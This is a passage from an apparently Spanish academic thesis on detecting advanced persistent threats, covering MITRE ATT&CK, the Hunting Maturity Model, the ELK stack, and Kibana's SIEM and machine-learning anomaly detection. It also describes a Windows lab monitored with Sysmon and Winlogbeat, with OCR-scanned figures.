empresas se centran en las ultimas etapas(Entrega, Explotacién, Control, Mantenimiento y ejecucién) del
cualquier ciclo de vida de un atacante, como las descritas en el modelo Cyber Kill Chain de Lockheed Martin.
Las 12 tacticas mostradas en la matriz para empresas consisten en Acceso inicial, Ejecucion, Persistencia,
Escalada de privilegios, Evasién de defensa, Acceso de credenciales, Descubrimiento, Movimiento lateral,
Coleccién, Mando y Control, Exfiltracién e Impacto.

Enterprise Matrix

Below are the tactics and technique representing the MITRE ATT&CK® Matrix for Enterprise. The Matrix contains information for the following platforms: Windows, macOS, Linux, AWS, GCP,
Azure, Azure AD, Office 365, SaaS

Last Modified: 2019-10-09 18:48:31.906000
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Figura 3.4: Matriz para empresa

Cada categoria contiene una lista de técnicas que un adversario podria utilizar para realizar esa

tactica. Las técnicas se desglosan para proporcionar una descripcion técnica, indicadores, datos tutiles de
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sensores defensivos, analisis de deteccién y posibles mitigaciones. Al seleccionar una categoria, nos ofrece
una descripcién de la categoria y las diferentes técnicas que la componen, identificadas por un ID. Al
seleccionar una técnica, se muestra una descripcién de la técnica, algunos ejemplos donde se ha utilizado
y un cuadro que nos resume sus principales caracteristicas. Por ejemplo, cuando se selecciona la técnica

de Spearphishing Link, esto es lo que se muestra en el cuadro. Como se puede ver en los cuadros hay

ID: T1192
Tactic: Initial Access
Platform: Windows, macQS, Linux, Office 365, SaaS

Data Sources: Packet capture, Web proxy, Email
gateway, Detonation chamber, SSL/TLS inspection,
DNS records, Mail server

CAPEC ID: CAPEC-163

Contributors: Shailesh Tiwary (Indian Army); Mark
Wee; Jeff Sakowicz, Microsoft Identity Developer
Platform Services (IDPM Services); Saisha Agrawal,
Microsoft Threat Intelligent Center (MSTIC)

Version: 1.1
Created: 18 April 2018
Last Modified: 18 October 2019

Figura 3.5: Técnica de Spearphishing Link

referencias a CAPEC(Common Attack Pattern Enumeration and Classification); hay algunas técnicas
descritas en ATT&CK que emplean patrones de ataque descritos por CAPEC, aunque se tratan de dos
enfoques distintos centrandose ATT&CK més en las APT.

Estas técnicas conforman el marco de trabajo de las APT por lo que seran aquellas que la solucién deberia
de detectar, para ello se utilizaran los indicadores de compromiso asociados a estas técnicas que ofreceran

indicios de la existencia de una APT.

3.5. Indicadores

Segun el modelo de Indicadores y el ciclo de vida del indicador de Lockheed Martin existen tres tipos
de indicadores que se utilizan de forma conjunta con las fases del modelo de la seccién anterior(3.2]) para

detectar una intrusién:

= Atémicos: Son aquellos que no se pueden dividir en partes més pequenas y retienen el significado

del contexto de la intrusion. Un ejemplo seria las direcciones IP.

= Calculados: Aquellos derivados de los datos involucrados en el incidente. Un ejemplo seria las

expresiones regulares.

= De comportamiento: Son la coleccién de los otros dos tipos.
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Los indicadores permitirdan la deteccién de las APT, sin embargo hay otras técnicas y herramientas
que influyen en la deteccién de amenazas y que en funcién de su implementacién se puede catalogar la

capacidad de una organizacion de detectar estas amenazas.

3.6. Threat Hunting Mature Model(HMM)

Para poder entender este concepto primero se debe entender que se entiende por threat hunting; se
define como el proceso proactivo e interactivo de buscar por la red empresarial para detectar y aislar
amenazas avanzadas que evaden las soluciones de seguridad existentes. Con esta de definicién en mente
se define el HMM desarrollado por Sqrrl como un modelo que permite juzgar la capacidad de una
organizacién para cazar amenazas, en este caso se puede juzgar el resultado del proyecto empleando esta
metodologia. Hay tres factores que se deben considerar cuando se juzga la capacidad de una organizacién

para cazar amenazas, incluyendo:

= Calidad de los datos recogidos por la organizacion.
= Las herramientas que permiten visualizar y analizar esos datos.

» Las cualidades del analista de seguridad que analiza los datos y las herramientas de andlisis

automatico que la organizacién puede aplicar sobre los datos.

Para determinar la capacidad de una organizacién, la cantidad y calidad de los datos es un factor
determinante. HMM incorpora 5 niveles en funcion de la capacidad de la organizacién: inicial, minima,

procesal, innovadora y lider.

LEVEL

LEVEL °
LEVEL e LEADING
+ Automates the

majority of
LEVEL INNOVATIVE successful data

« Creates new data analysis procedures

analysis procedures - High or very high
LEVEL ‘ PROCEDURAL level of routine data

« High or very high '
« Follows data level of routine data collection
analysis procedures collection
o MINIMAL created by others
* Incorporates threat « High or very high

intelligence | ;
evel of routine data
INITIAL indicator searches collection

* Relies primarily on + Moderate or high
automated alerting level of routine data

« Little or no routine collections
data collection

Figura 3.6: Hunting Maturity Model

s Inicial: : En este nivel las organizaciones confian principalmente en herramientas de alertas
automatizadas, tales como los antivirus, IDS, IPS, etc. Este nivel el analista se dedica principalmente
a la resolucion de las alertas.
Normalmente se debe a que no se recoge mucha informacién de los sistemas por lo que su capacidad

de encontrar amenazas estd muy limitada.

= Minima: FEn esta fase las organizaciones siguen confiando principalmente en las herramientas de
alertas automatizadas, pero al menos empiezan a recoger informacién sobre los atacantes. En esta
fase es donde comienza la caza y el analista recibe y los reportes de las amenazas y busca los IOCs

en los datos histéricos de la organizacion que coincidan con las amenazas.

= Procesal: En esta fase los analistas utilizan procedimientos de caza externos y los aplican, aunque
todavia no desarrollan nuevos procedimientos por ellos mismos. Ademads, se suele recoger grandes

cantidades de datos de toda la empresa.
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= Innovadora: Las organizaciones crean sus propios procedimientos de caza. Algunos de los analistas
entienden varios tipos de datos y técnicas que les permiten identificar actividad maliciosa. Se emplean

herramientas analiticas y machine learning para crear los procedimientos.

s Lider: Esta fase es muy similar a la anterior, con una diferencia muy importante: Automatizacion.
En esta fase los procesos de caza exitosos estaran operativos y se convertiran en deteccién automatica.
El analista de seguridad continuar revisando y mejorando los procesos para mejorar la efectividad

de deteccion de amenazas de la organizacién.

3.7. Pila ELK

La solucién plateada por este trabajo al proceso de threat hunting que permitird la deteccién de
amenazas persistentes avanzadas serd la pila ELK.
La pila ELK es un acréonimo que se emplea para referirse al conjunto de tres productos de cédigo libre
que componen la pila: Elasticsearch, Logstash y Kibana, desarrollados por la compania Elastic [8].
Se puede ampliar anadiendo otro proyecto creado por la compania Elastic llamado Beats |12] que, junto
con las anteriores tecnologias, forma la Elastic Stack. Aunque se pueden implementar los proyectos de
forma independiente, el proposito de su diseno es que se ejecuten de forma conjunta para el andlisis de logs.
Sin embargo, se pueden emplear para otros fines, tales como: APM, rendimiento, seguridad y operaciones
en la nube entre otros.
Este conjunto de productos debe su popularidad a la necesidad de una herramienta que cubriese la
necesidad de la gestién y analisis de logs. También se debe a que es de codigo abierto y se actualiza de
forma continua con las sugerencias de los usuarios; ademds, presenta una gran escalabilidad, permitiendo

el andlisis de grandes cantidades de datos.

3.7.1. Logstash

Es un pipeline de procesamiento de datos que ingiere, enriquece y parsea los datos llegados desde varias
fuentes para posteriormente realizar su almacenamiento.
Posee una cantidad de plugins superior a 200, ofreciendo ademaés una gran variedad de filtros que nos
permiten extraer la maxima cantidad de informacién de nuestros datos antes de ser almacenados para su
andlisis [9].
Podemos catalogar sus plugins en:

= Input: Se emplean en la recoleccion de los datos. Cubren una gran variedad de plataformas por las

que se puede recibir datos.

= Filter: Se emplean para el procesamiento de los datos. Permiten varias formas de enriquecer y

parsear nuestros datos tales como conocer las coordenadas geograficas de una IP.
= Qutput: Permiten transportar los datos a diferentes servicios y tecnologias.
= Codec: Permiten modificar la representacion de los datos; pueden ser usados como inputs y outputs.

Ofrece la posibilidad de creacién de tus propios plugins mediante una API.

3.7.2. Elasticsearch

Considerado el corazon de la pila ELK. Es un motor de buisqueda y analiticas de Restful distribuido,
gratuito y de cddigo libre, caracterizado por su rapidez en las busquedas [10]. Se empleard para indexar y

almacenar los datos. También tiene una gran cantidad de plugins que ofrecen una mayor funcionalidad y
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la opcién de realizar las bisquedas mediante peticiones a la API, aunque en este proyecto no se empleara

ya que se realizaran las bisquedas mediante Kibana.

3.7.3. Kibana

Kibana es una interfaz que funciona por encima de Logstash y Elasticsearch permitiendo la
visualizacién y el analisis de los datos obtenidos.
Kibana cuenta con una gran variedad de posibilidades a la hora de visualizar los datos, permitiendo
guardar las visualizaciones para formar tableros. Ademds, permite realizar busquedas sobre los datos
mediante el lenguaje KQL que se complementa mediante la funcionalidad de autocompletar. También

presenta un apartado de machine learning que permite la creacién de tareas y la visualizacién de anomalias.

New Visualization

Q0 Filter Select a visualization type
Start creating your visualization by
B E . . N
.- = selecting a type for that visualization.
) @ o5 gatyp
mens Ares Controls Data Table Try Lens, our new, intuitive way to create
visualizations.
P Q) &9 = .
_ Gotolens ¥
Gauge Goal Heat Map Horizontal Bar
L _
| & T
Line Maps Markdown Metric

® i = @

Pie TSVE Tag Cloud Timelion
E
<> [HT
Vega Vertical Bar

Figura 3.7: Opciones de visualizacion ofrecidas por Kibana

3.7.4. Beats

Es la plataforma de agentes de datos ligeros que son instalados en los entornos para la recoleccién de
los datos, cumpliendo con el ECS . También permite la creacién de tu propio agente de recoleccion
de datos mediante el uso del marco de trabajo libbeat que ofrece una funcionalidad béasica. Entre las
opciones de Beats destacan:

= Filebeats: Permite reunir informacién de archivos de log o syslog.
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Metricbeat: Permite reunir informacién de las métricas del sistema.
Packetbeat: Permite reunir informacién del trafico de red.

Winlogbeat: Permite reunir informacién sobre los logs de eventos de Windows.
Auditbeat: Permite leer las auditorias de Linux

Functionbeat: Agente sin servidor.

Heartbeat: Permite monitorizar el tiempo de actividad.



Capitulo 4

Actividad normal del usuario

4.1. Definir la normalidad

Las personas son criaturas de héabitos; esto no excluye el campo de la informatica, donde se pueden ver
patrones en la actividad que realizan en el sistema. Esta parte del trabajo consistird en establecer lo que
es la normalidad para poder comparar contra ella. Para poder detectar anomalias, se debe comprender
qué es la actividad normal de un usuario. Consideremos actividad normal de un usuario a las operaciones
que realizar a un usuario genérico en su ordenador personal. Debido a que el entorno en el que se ha
desarrollado el experimento no es un entorno empresarial y que no se dispone de usuarios reales que
realicen una determinada funcién para una empresa, se considera actividad normal el inicio y cierre de
sesion, la instalacién y desinstalacion de software, la creacién y borrado de archivos, la ejecucion de
software, actividad de red, creacién de cuentas de usuario, bloqueo y desbloqueo del equipo. El resto de
eventos que se monitorizan en el anexo |[| se empleardn para la deteccion de las posibles amenazas que se

den.

4.2. Calidad de los datos

Para poder diferenciar la normalidad del usuario de las amenazas se necesita una gran cantidad de datos
de buena calidad. Esto influird principalmente en el machine learning, pero también sirve como guia a los
analistas para poder comprender los datos. Una de las principales guias que indican las caracteristicas que
deben tener los datos es The Department of Defense on Data Quality Management de Estados Unidos [7].
Segun este departamento, se han de cubrir 6 aspectos: precisién, integridad, consistencia, puntualidad,
unicidad y validez.

La precisiéon se refiere a una calidad suficiente en la que los datos estén libres de errores; la integridad es
el grado en que los valores estdn presentes en los atributos que se requieren de ellos; la consistencia es una
medida del grado en el que un conjunto de datos satisface un conjunto de restricciones; la puntualidad
representa el grado especifico en el que los valores de datos estan actualizados; la unicidad, el estado en el
que los valores son los tnicos en su tipo; la validez es donde la calidad de los datos se basa en un sistema
adecuado de clasificacién y es lo suficientemente riguroso como para obligar a la aceptacion.

Los datos que se analicen deberan cumplir estos principios para obtener un resultado valido.

Otro detalle que se debe tener en cuenta es el formato en que se presentan los datos que se van a
recoger. Aunque en este proyecto no serd necesario tenerlo en cuenta, ya que se emplean las herramientas
proporcionadas por Beats para parsear los datos para que cumplan con el ECS [13], puede haber ocasiones
donde se utilicen otras herramientas de recoleccién de logs. Para poder almacenar los datos en la pila se
debe cumplir el ECS, donde se especifica un conjunto comun de campos que deben tener los logs para

guardarlos.
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ECS especifica el nombre y el tipo de los campos requeridos, ademas de dar una descripcién y un ejemplo
de su uso. Su objetivo es permitir a los usuarios de Elasticsearch normalizar los datos para que puedan
ser analizados, visualizados y correlacionar los datos representados.

Por otra parte, ECS es un esquema permisivo. Si los datos contienen datos adicionales que no pueden ser

mapeados a ECS, se puede usar nombres personalizados para almacenarlos.

4.3. Herramientas de Kibana

El objetivo de monitorizar la actividad normal del usuario es distinguir lo normal de lo inusual; sin
embargo, se necesita el uso de herramientas para entender de una forma mas sencilla los logs. Como
ya se ha mencionado anteriormente, Kibana ofrece una gran variedad de herramientas que permitiran
conocer mejor los datos. Las herramientas que se han utilizado para poder entender los datos han sido

principalmente 4: las bisquedas, las visualizaciones, el visualizador de datos y el STEM.

4.3.1. Busquedas, visualizaciones y visualizador de los datos

Las busquedas constituyen un elemento que facilita la comprensién de los datos; permiten buscar en
el indice mediante la barra de btsqueda de Kibana. Por defecto, para realizar la blisqueda se emplea
el lenguaje de consultas de Kibana(KQL) |14] ayudado por la simple sintaxis y el autocompletar. Sin
embargo, se puede usar otro lenguaje para las biisquedas, que estd basado en las consultas de Lucene.
La parte del visualizador de datos pertenece al X-Pack, que se presenta en la seccién de machine learning,
aunque el objetivo en esta parte es entender los datos mediante las graficas y tops que nos ofrecen sobre
los campos de los datos.

En cuanto a las visualizaciones, estdn basadas en consultas a Elasticsearch. Para ello, se usan diferentes
operaciones de agregacion para extraer y procesar los datos. Como ya se ha mencionado anteriormente,

existen las siguientes categorias:

= Lente: Permite crear rapidamente varios tipos de visualizaciones béasicas simplemente arrastrando y

soltando los campos de datos.
» Gréficos de lineas, dreas y barras: Permite trazar los datos en los ejes X/Y.
= Gréfico circular: Muestra la distribuciéon de un campo.
= Tabla de datos: Permite mostrar las agregaciones en formato lista.
= Métrica: Muestra una sola métrica de los datos.
= Objetivo y medidor: Muestra un nimero con indicadores de progreso.

= Nube de etiquetas: Muestra palabras en una nube, donde el tamano de la palabra corresponde a su

importancia.
= TSVB: Visualiza datos de series temporales mediante agregaciones.
= Timelion : Calcula y combina datos de conjuntos de datos de series temporales multiples.
= Mapas: Muestra datos geoespaciales en Kibana.
= Mapa de calor: Muestra las celdas sombreadas en funcién de la importancia del campo.

s Markdown: Muestra informacién sin formato.
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= Controles: Te permite anadir entradas interactivas a los tableros de Kibana.

= Vega: Completo el control sobre la consulta , la visualizacién y fuentes de datos empleadas.

Se muestra un ejemplo de algunas de las visualizaciones que se han realizado con el fin de entender la

actividad del usuario.

® 10124518

Data Options

Metrics

> Slice size Count

Buckets

> Split chart network.type.key... @ = X
> Split slices destination.ipke... ® = X
© Add
@ 22400251
@ 1921681132
@ 5112478146
@ 157.88124.249
@ 08583182
@ 13.78180.90
= @ 40101137.68
Figura 4.1: Top 100 IPs de destino
4.3.2. SIEM

SIEM ofrece un espacio interactivo donde se pueden triangular eventos, realizar investigaciones, ver
anomalias y correlacionar los datos con fuentes externas. Esta funcionalidad estd pensada para la seguridad
y permite el andlisis de evento de seguridad relacionados con los host y la red.

Los indices utilizados para el SIEM por defecto son auditbeat-*, winlogbeat-*, lebeat-*, packetbeat-*,
endgame-* y apm-*-transaction®. Aunque se pueden cambiar en Management - Advanced Settings -
siem:defaultIndex. Las funcionalidades ofrecidas por esta aplicacién se resumen en: Overview, Host,
Network, Detections, Timelines.

Se debe destacar que para conseguir que esta funcionalidad muestre los datos de los campos de texto, se
deben almacenar con la opcion de "fielddata=true”. Esta opcién se encuentra desactivada por defecto
debido a que consume mucho espacio de almacenamiento, ya que hace que los campos de texto se almacenen

en una estructura de datos que hace que su lectura tarde mas tiempo.

Overview

Muestra un resumen general de los eventos y alertas configuradas, asi como el nimero de documentos

que contienen los indices.
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Signals count

o

External alerts count

Events count

Host events

Network ?-,cms

Figura 4.2: Overview

Host

Proporciona informacién clave sobre los eventos relacionados con los host, los diferentes host y sus

documentos, que permiten interactuar con el visor de eventos de la linea de tiempo. Se pueden arrastrar y

soltar elementos sobre la linea de tiempo para conseguir més informacién.

@ Overview Hosts Network Detections Timelines

@ fearcn

Anomaly detection v (® Add data

KQL @ v Lastiyear

@ - hddfiter

Hosts

Hosts User authentications

=3 ~ 1052 success %0 fail

Allhosts  Authentications ~ Uncommon processes  Anomalies  Events  External alerts

All hosts

UniquelPs.

© 370 source © 298 destination

Ghart Data Not Available

Figura 4.3: Host

Network

Proporciona informacién de la actividad de red y facilita la investigacién mediante tablas de eventos

de red que permiten la interaccién con la linea de tiempo. Al igual que en los Host, se pueden arrastrar

elementos de la interfaz a la linea de tiempo para una mayor investigacién.
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Source IPs Destination IPs

® Damain 3 Demsin At

Figura 4.4: Network

Detections

Esta funcién permite la bisqueda de amenazas automaticamente y alerta cuando se detectan. Hay un
conjunto de reglas que permiten definir las condiciones para crear esas alertas, aunque la propia aplicacién
ya viene con unas reglas preconstruidas para detectar amenazas. Ademas, permite crear tus propias reglas.

Se debe destacar que esta funcion ain estd en beta.

Cases

Esta funcién no pertenece a la version que se utilizé para realizar el trabajo ya que se anadié una
version después, la 7.7. Los casos se utilizan para abrir y rastrear problemas de seguridad directamente en
SIEM. Los comentarios de los casos admiten sintaxis Markdown y se pueden vincular lineas de tiempo y

enviar casos a sistemas externos. Esta funcionalidad atn se encuentra en beta.

Timeline

Esta funcionalidad permite la biisqueda de amenazas e investigacion de alertas. Como ya se ha visto
en las otras funcionalidades, permite una interaccion con el resto simplemente arrastrando objetos de

interés en el visor de eventos de la linea de tiempo.
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Capitulo 5
Machine Learning

Machine learning es una aplicacion de la inteligencia artificial que permite al sistema la habilidad de
aprender y mejorar autométicamente sin ser programados explicitamente.
Existen tres tipos de modos principales de machine learning: no supervisado, semi-supervisado y supervi-
sado. Se dice que es no supervisado cuando tenemos un conjunto de datos que solo contienen entradas; su
objetivo es encontrar estructuras o patrones en los datos para etiquetar las nuevas entradas. Se dice que es
semi-supervisado cuando parte de los datos estdn etiquetados. Por otra parte, en el enfoque supervisado,
todos los datos se encuentran etiquetados, produciendo una funcién que establece una correspondencia

entre las entradas y las salidas deseadas del sistema.

5.1. Machine learning y la pila ELK

La pila ELK ofrece la extension X-Pack que provee de funcionalidades de seguridad, alertas, monitoriza-
cién, informes, machine learning y otras funciones. Se utiliza Prelert como tecnologia de machine learning.
Prelert usa inteligencia artificial en forma de machine learning no supervisado para procesar grandes
cantidades de datos que llegan en tiempo real. Automaticamente aprende cudl es el comportamiento
normal del usuario representado por los datos y detecta las anomalias. Las funcionalidades que ofrece esta
extension se centran en la deteccién de anomalias en series temporales.

Aunque se puede ver que la extensién de machine learning ofrece una gran variedad de funcionalidades,
este trabajo se centrara en aquellas que se emplean mediante la interfaz de Kibana.

Podemos diferenciar tres opciones: la creacién de trabajos que permiten la deteccion de anomalias y
el explorador de anomalias, la creacién de trabajos que permiten realizar analisis sobre los datos y el
visualizador de los datos. De estas posibilidades, analizaremos con mayor detalle la deteccion de anomalias
y el visualizador de los datos debido a que el propdsito de usar esta funcionalidad es evitar que el analista
tenga que revisar de forma manual el mayor nimero de logs posibles mientras realiza la busqueda de una
APT.

5.1.1. Detector de anomalias

Antes de conocer las posibilidades que ofrece el detector de anomalias, debemos definir lo que es un
trabajo para Elastic. Un trabajo es la unidad minima de trabajo de la tecnologia de machine learning de

Elastic que estd caracterizado por los siguientes elementos:

» Nombre/ID.
» Ventana de andlisis(tiempo).
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= La configuracién y definicion de la consulta que obtendra los datos que seran analizados.
= Grupos a los que pertenece el trabajo, son etiquetas que nos ayudan a catalogarlos.

= Los campos que pueden tener influencia en los resultados del trabajo, aunque hay que tener en

cuenta que estos campos no afectan a los calculos que forman parte de la deteccién de las amenazas.

Estos trabajos son independientes y auténomos. Puede emplearse varios a la vez, haciendo diferentes
andlisis de diferentes indices. Se pueden crear desde la interfaz de Kibana o programarse via API, aunque

en este caso solo se utilizard la interfaz de Kibana.

Cuando se desea crear un trabajo para la deteccién de anomalias habiendo seleccionado un indice,
empleando la interfaz de Kibana, se nos muestran las siguientes opciones:
Use a supplied configuration
The fields in your data have been recognized as matching known cenfigurations. Select to create a set of machine learning jobs and associated dashboards.

@ SIEM Winlogbeat @ SIEM Winlogbeat
Authentication Dete

Detect suspi

authentica

Winlogbeat data (beta)

Use a wizard

Use one of the wizards to create a machine learning job to find anomalies in your data

Single metric °79  Multi metric Population Advanced
@ Sna £ 8, Pop . G A

Detect anomalies in Detect ac full ra

Detect anomalies in a

single time series

unusual com

yehavior of the

population. cases.

@ (Fategon’zatlon

Learn more about your data

If you're not sure what type of job to create, first explore the fields and metrics in your data.

o, Data Visualizer
@

Learn more about the

Figura 5.1: Opciones de creacién de trabajos

Lo primero que se puede observar es que se ofrece conjuntos de trabajos predisenados si detecta que
los campos del indice seleccionado coinciden con una configuracién ya conocida para la que tenga creada
un conjunto de trabajos. En este caso, nos ofrece los conjuntos de SIEM de Winlogbeat. Cabe destacar
que, en la versién actual(7.6.0) algunos conjuntos de trabajos que ofrece se encuentran en fase beta y
pueden no funcionar bien, como pasa con los trabajos STEM.

También se puede observar que nos muestra la opcién del visualizador de datos, del que se explicard mas
adelante en qué consiste.

Por tdltimo, podemos ver que nos ofrece una serie de patrones wizard para crear diferentes tipos de
trabajos, los cuales son: trabajo de métrica tnica, trabajo de multiples métricas, trabajo de poblacién,

trabajo avanzado y categorizacion.

Trabajo de métrica tnica

Permite el analisis de series temporales de una sola métrica a la vez para la busqueda de anomalias.
Kibana tiene una funcionalidad pensada para este tipo de trabajos que se encuentra en el detector de

anomalias llamada Visor de métricas tinicas. Este visor contiene un grafico que representa el valor actual y
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esperado en el tiempo de esos trabajos. Solo estd disponible para los trabajos que analicen series temporales
de una sola métrica y donde el modelo plotconfig estd activado. También muestra las anomalias en
diferentes colores dependiendo de su puntuacién.

Para crear este trabajo se debe seguir el patron wizard. Para su creacién se debe seleccionar el campo con
la operacién que se quiera realizar en el despegable, rellenar los campos béasicos para un trabajo y activar
0 no el modelplot.

Create job: Single metric

Pick fields

I
\ [ '
| IS N B

Figura 5.2: Creacién de un trabajo de métrica tinica

Trabajo de multiples métricas

Permite dividir el analisis en varias métricas individuales al mismo tiempo por un campo categorico.
Se puede entender como muiltiples trabajos de métrica tinica ejecutdndose al mismo tiempo.
En su proceso de creacion se necesita especificar los diferentes campos y operaciones sobre los que se
realizar el andlisis, asi como el campo por el que se dividird, aunque este campo se puede dejar vacio en

caso de no necesitarse.

Create job: Multi metric

o——— —— —©0 s

Pick fields

| \ / T T

Spitfiold

Figura 5.3: Creacién de un trabajo de multiples métricas

Trabajo de poblacién

Sirve para detectar actividad inusual comparando entre los miembros de poblacién; permite comparar
entidades unas frente a otras. Esto puede ser 1til en caso de que las entidades se comporten de forma
similar y se quisiera detectar los casos extranos.

Para ello, se debe elegir el campo que definird la poblacion a la que posteriormente se comparara mediante

las operaciones sobre los campos que se le indiquen.
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Create job: Population

Pick fields

Populaton fiekd

Figura 5.4: Creacién de un trabajo de poblacién

Categorizacion

Agrupa mensajes en categorias y busca anomalias dentro de esos grupos. La categorizacién es un
proceso de machine learning que utiliza un campo de texto para agrupar datos similares en categorias.
Cuando se crea una categorizacién, el modelo aprende cual es el patrén y volumen normal para cada
categoria a lo largo del tiempo. Posteriormente se aplicaran las funciones de count y rare sobre estas
categorias en busqueda de anomalias.

Para crear una categorizacién se debe indicar la operacién a aplicar y sobre el campo sobre el que se

quiera aplicar.

Create job: Categorization

Figura 5.5: Creacién de una categorizacién

Trabajo avanzado

No es un trabajo distinto a los anteriores. Se podria considerar un patrén wizard que nos ofrece la
posibilidad de crear todos los trabajos ya mencionados. Nos ofrece un mayor control sobre las opciones
que se utilizan a la hora de realizar el andlisis y permite usar algunas operaciones que los otros trabajos
no permiten. Una muestra de esto es la funcién rare que se empleara en este trabajo para crear un gran
numero de trabajos porque permite detectar valores que no son frecuentes en la poblacién. Debido a las
posibilidades que ofrece, es el trabajo que més se ha empleado en este proyecto, por lo que se explicara en

mayor detalle cada uno de los campos disponibles en su creacion.
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Create job: Advanced

Figura 5.6: Creacién de un trabajo avanzado

= Campo de categorizacion: Similar a la funcionalidad que ofrece la categorizacién. Permite recoger en

categorias los datos segiin un campo de texto.

= Campo de recuento de resumen: Se emplea para senalar si se ha realizado un resumen de algiin

campo previamente.

= Detectores: son los encargados de detectar las anomalias; para ello se deberan configurar teniendo
en cuenta el objetivo del trabajo. Permite elegir un campo sobre el que se realizarda una funcién y la
forma en cémo se aplicard esta funcién. Puede realizarse la operacién por el campo dénde se realizara
un andlisis individual que consistird en la buisqueda de anomalias, basandose en el comportamiento
de la entidad.
Puede realizarse la operacién sobre el campo, que seria equivalente a realizar un trabajo de poblacion.
Se puede segmentar el modelado en grupos légicos mediante un campo y excluir aquellos resultados

mas frecuentes que puedan ocultar los datos que se estan buscando.

Create detector

Function Field

Function Field

max

By field Over field

By field CQwer field

Partition field Exclude frequent
Partition field Exciude frequent

Description o
Descrigtion

Cancel

Figura 5.7: Creacion de un detector

Se puede emplear el explorador de anomalias y el visor de métricas tinicas para visualizar los resultados
obtenidos por los trabajos. Hay que tener en cuenta que el modelo de machine learning da una puntuacién

que Kibana emplea para catalogar la importancia de la anomalia mediante un cédigo de colores.
» Aviso(azul): La puntuacién es menor de 25.
» menor(amarillo): La puntuacién se encuentra entre 25 y 50.
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» Mayor(naranja): La puntuacién se encuentra entre 50 y 75.

» Critico(rojo): La puntuacién se encuentra entre 75 y 100.

Explorador de anomalias

Aqui se encuentran las anomalias detectadas por los trabajos creados. Se utilizara una imagen que se
obtuvo como resultado de un trabajo que buscaba eventos, cuyo identificador no fuese muy comin en la

actividad del usuario, como ejemplo.

process.name.keyword

Figura 5.8: Explorador de anomalias

En esta imagen se pueden ver los campos que influyen més significativamente para la deteccién de
anomalias. En cuanto a la detecciéon de anomalias, se presenta de tres formas: la primera consiste en un
andlisis mas general donde, mediante el cédigo de colores, informa de la importancia de los dias que mas
valor tengan. La segunda forma permite seleccionar como se presentan las anomalias; podemos elegir que
las muestre segiin los campos mas influyentes, que se senalizaron cuando se cred el trabajo, o que las
muestre de una forma muy similar a la primera. La Ultima es mas completa ya que informa de todo lo
anterior de forma conjunta y admite ordenaciones segtin su severidad u otros parametros. Por ltimo,

pulsando en cualquier anomalia se ofrecerdan mas detalles de esta.

5.1.2. Visualizador de datos

El visualizador de datos es una herramienta que puede ser muy util a la hora de crear trabajos. Permite
comprender mejor los datos que se estan tratando ya que te muestra autométicamente los datos que no
son nulos, su distribucién y los valores mas repetidos. Divide las propiedades de los datos en campos
y métricas: los campos son los datos de texto, mientras que las métricas son los datos numéricos. Otra
parte importante es que informa de la cardinalidad de los diferentes campos y de sus valores distintos,
que pueden ser tutiles cuando se quiera crear un trabajo ya que, por ejemplo, cuando se requiera crear un
trabajo sobre un campo, se buscara que aparezca en el maximo de documentos posibles, por lo que si un
campo no apareciese en un porcentaje significativo, entonces podria no ser candidato a realizar un trabajo

sobre él.
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winlogbeat-* Use tutwinogh

Figura 5.9: Visualizador de datos

5.2. Machine learning y la ciberseguridad

El machine learning es una herramienta que facilita mucho el trabajo a los analistas ya que puede
gestionar grandes volumenes de datos y apoyar al analista en la deteccién de anomalias o herramientas ya
conocidas.

Sin embargo, tiene ciertas limitaciones que se deben conocer para poder emplear de forma correcta esta
herramienta. El machine learning asume que los datos que se le pasan al algoritmo son completos, precisos
y de buena calidad; estos datos son los datos de entrenamiento que se usaran posteriormente para detectar
anomalias, por lo que si los datos pasados no son correctos, solo se obtendran falsos positivos.

Otro problema se debe a si el investigador no comprende los datos que se estan tratando. El algoritmo
obtendra resultados independientemente de los datos que le pasemos, pero es la interpretaciéon que le da
el investigador la que determina si esos resultados son correctos o son los esperados.

Por dltimo, otro problema es la constante evolucién del campo y en la complejidad del ataque. El machine
learning pierde efectividad cuanto mas complejo sea el ataque que se estd usando, por lo que apareceran
nuevas técnicas que el machine learning no sea capaz de identificar y se requiera volver al proceso de

entrenamiento.
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Capitulo 6

Creacion del laboratorio y desarrollo del

experimento

6.1. Maquinas

El laboratorio est4 compuesto por dos maquinas, llamadas tfg-va06-francisco y tfg-va06-francisco-2,

cuyo esquema es el siguiente:

& -
— =

tfg-vale-francisco-2

tfg-valg-francizco Windows 10
Windows 10 / 10.1245.18
10.124.5.17 Logstash+=Elasticsearch+kibana

Winlogbeat+Sysmon+Packetbeat

Figura 6.1: Esquema del laboratorio

6.1.1. tfg-va06-francisco

Las caracteristicas de esta maquina son las siguientes:

= Windows 10 pro

= Dos procesadores Common KVM processor 2.30 GHz
= 8 GB de RAM

En esta maquina se han modificado las directivas de auditoria y se han instalado las herramientas
necesarias para la monitorizacién. Consta de Winlogbeat 7.6.0, Packetbeat 7.6.0 y Sysmon 10.42; estas

herramientas permitirdn la extracciéon de la informacién de los eventos que sera enviada a la otra maquina.
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6.1.2.

tfg-va06-francisco-2

Las caracteristicas de esta maquina son las siguientes:

= Windows 10 pro

= Dos procesadores Common KVM processor 2.30 GHz

= 12 GB de RAM

En esta maquina se producird el enriquecimiento, el almacenamiento, el analisis y la visualizacién de los

datos obtenidos en la otra maquina.

Para ello, se han instalado logstash 7.6.0, elasticsearch 7.6.0 y kibana 7.6.0.

Logstash opera en el puerto 5044 recibiendo la informacién de la otra maquina y realizando el proceso

de enriquecimiento de los datos. Posteriormente enviard los datos al puerto 9200 donde se encuentra

el servicio Elasticsearch de almacenamiento de los datos para que, finalmente, puedan ser visualizados

mediante el cliente web que nos ofrece Kibana.

6.2.

Herramientas utilizadas

Las herramientas empleadas en la recoleccion de informacion en el sistema endpoint se describen en

este apartado.

6.2.1.

Sysmon

Aunque los logs que nos ofrece Windows nos ofrecen suficiente informacién para la detecciéon de

comportamientos inusuales, podemos emplear Sysmon para obtener una mayor informacion.

Sysmon [25] es un servicio de sistema de Windows y un controlador de dispositivo que, una vez se instala,

permanece en el sistema para monitorizar y registrar la actividad del sistema de registro de eventos de

Windows. Proporciona informacion detallada sobre creaciones de procesos, conexiones de red y cambios

en el tiempo de creacién de archivos. Sysmon genera 24 posibles eventos.

ID del evento Nombre Descripcién
1 Creacién del proceso Provee de una mayor cantidad de informacién sobre la creacién de un nuevo proceso
2 Un proceso cambid la fecha de creacién de un archivo Se monitoriza el cambio de una fecha de creacién de un archivo por un proceso
3 Conexiones de red Informacién sobre las conexiones TCP/UDP en la méquina
4 El estado del servicio Sysmon cambid Informacién sobre el estado del servicio Sysmon
5 Un proceso ha terminado Informe sobre la finalizacién de un proceso
